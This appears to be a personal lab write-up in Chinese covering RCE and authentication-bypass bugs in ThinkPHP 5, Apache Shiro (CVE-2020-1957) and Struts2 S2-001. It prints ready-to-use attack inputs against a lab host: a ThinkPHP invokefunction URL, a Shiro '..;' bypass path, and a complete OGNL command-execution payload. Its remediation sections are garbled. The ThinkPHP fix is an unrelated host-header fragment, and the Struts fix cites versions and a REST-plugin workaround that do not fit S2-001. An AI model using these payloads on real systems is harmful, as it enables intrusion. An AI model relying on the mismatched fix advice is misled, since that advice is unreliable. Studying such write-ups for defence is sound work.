框架漏洞-RCE
一:ThinkPHP-5-rce
漏洞描述
其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞
漏洞范围
http://192.168.116.134:8080/index.php
漏洞原理
构造闭环创建payload
http://192.168.116.134:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
漏洞复现
修复建议
使用拦截器进行对request的host进行了验证
头攻击检测
是否在白名单内
-
@param host
-
@return
Apache Shiro 认证绕过漏洞
1:漏洞描述
二:Apache shiro存在认证绕过漏洞,漏洞编号:CVE-2020-1957
2:漏洞原理
Apache Shiro1.5.2之前版本中存在安全漏洞。攻击者可借助特制的请求利用该漏洞绕过身份验证。
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。
anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。Shiro的URL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,比如:/可以匹配/hello,但是匹配不到/hello/,因为通配符无法匹配路径。
假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。
3:漏洞复现
访问url
使用burp suite抓包,并访问admin,状态码为:302
访问/xxxx路径,状态码为:404
两个路径组合后:状态码为:404
当路径为/xxx/..;/admin/时,状态为200
绕过成功
4:修复建议
1:更新版本
2:尽量避免使用*通配符作为动态路由拦截器的URL路径表达式。
三:Apache Struts2 S2-001 远程代码执行漏洞
漏洞描述
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。
例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
漏洞范围
http://192.168.116.134:8080/login.action登表单录
漏洞原理
提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
漏洞复现
修复建议
影响范围:Struts 2.5 – Struts 2.5.12 版本,据说还影响到 2.3.33 版本
修复方法:更新更新更新~~~升级Struts到2.5.13最新版本
临时修复:在不使用时删除StrutsREST插件,限制服务端扩展类型
在struts.xml配置文件中加入:
<constantname="struts.action.extension" value="xhtml,,json" />
、